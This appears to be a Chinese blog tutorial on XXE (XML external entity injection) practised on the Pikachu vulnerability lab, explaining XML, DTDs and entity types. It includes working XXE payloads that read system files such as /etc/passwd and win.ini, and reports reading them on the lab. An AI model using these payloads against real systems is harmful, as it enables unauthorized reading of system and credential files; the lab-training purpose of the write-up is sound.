当前位置: 首页 > news >正文

Pikachu漏洞练习平台之XXE(XML外部实体注入)

目录

什么是 XML?

什么是DTD?

什么是XEE?

常见payload


什么是 XML?

XML 指可扩展标记语言(EXtensible Markup Language);

XML 不会做任何事情,而是用来结构化、存储以及传输信息;

XML 标签没有被预定义,需要我们自行定义标签。

XML总体由元素组成,元素可以额外附加属性,需要提前定义,元素中可以引用实体。

XML中的5个预定义实体引用:

&lt;	<
&gt;	>
&amp;	&
&quot;	"
&apos;	'

实体根据引用方式,分为内部实体与外部实体 。

实体可以理解为变量,必须先在DTD中定义声明,然后在文档中的其他位置引用该变量的值。

<square width="100" /> &a; </square>元素    属性         实体

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">

 一个 XML 文档实例:

<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

第一行是 XML 声明,它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言);下一行描述文档的根元素(本文档是一个便签:<note>);接下来 4 行描述了根的 4 个子元素(to, from, heading 以及 body)。

什么是DTD?

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

 内部的 DOCTYPE 声明:假如 DTD 被包含在 XML 源文件中

<!DOCTYPE 根元素 [元素声明]>

外部文档声明:假如 DTD 位于 XML 源文件的外部

<!DOCTYPE 根元素 SYSTEM "文件名">

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

在DTD设置了一些变量,然后在XML文档中再使用到这些变量。 

什么是XEE?

XXE就是攻击者自定义了XML文件进行了执行,最终效果实现读取系统文件。

常见payload

测试代码

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe 'test' > ]> 
<foo>&xxe;</foo>

读取文件的payload

对于Windows:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

对于Linux:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>

UTF-8(可变长度编码)有时候也用ISO-8859-1(单字节固定长度编码)也可不指定编码

测试解析xml代码情况

回显test

因为我这里的靶场是使用Linux系统搭建的,因此尝试读取 /etc/passwd

读取成功

http://www.lryc.cn/news/232896.html

相关文章:

  • ubuntu中/etc/rc.local和/etc/init.d/rc.local的区别是什么
  • vue项目中 commonJS转es6
  • 【C++】AVL树(动图详解)
  • 「Verilog学习笔记」用3-8译码器实现全减器
  • rocketmq: MQClientException: No route info of this topic
  • 【Vue全家桶 合集 关注收藏】
  • react+video.js h5自定义视频暂停图标
  • CentOS和Ubuntu中防火墙相关命令
  • 学习笔记5——对象、直接内存、执行引擎,string
  • 【node】如何在打包前进行请求等操作npm run build
  • 鸿蒙4.0真机调试踩坑
  • 中文撰稿好用软件推荐TexPage(似于Overleaf)
  • AD教程 (十七)3D模型的创建和导入
  • 企业微信获取第三方应用凭证
  • 增删改查mysql
  • 【vue】下载导出excel
  • c#正则表达式
  • C#密封类和密封成员
  • 三、Eureka注册中心
  • java线程池动态调节功能实现
  • KT148A语音芯片使用串口uart本控制的完整说明_包含硬件和指令举例
  • kubectl 本地远程链接k8s多个集群,远程管控多集群,查看日志 部署服务(windows版)
  • wireshark打开tcpdump抓的包 vwr: Invalid data length runs past the end of the record
  • Python爬虫教程:从入门到实战
  • C++实现高频设计模式
  • opencv(2): 视频采集和录制
  • SpringBoot+EasyExcel设置excel样式
  • 自定义View之Measure(二)
  • SQL注入学习--GTFHub(布尔盲注+时间盲注+MySQL结构)
  • Kubernetes学习-概念2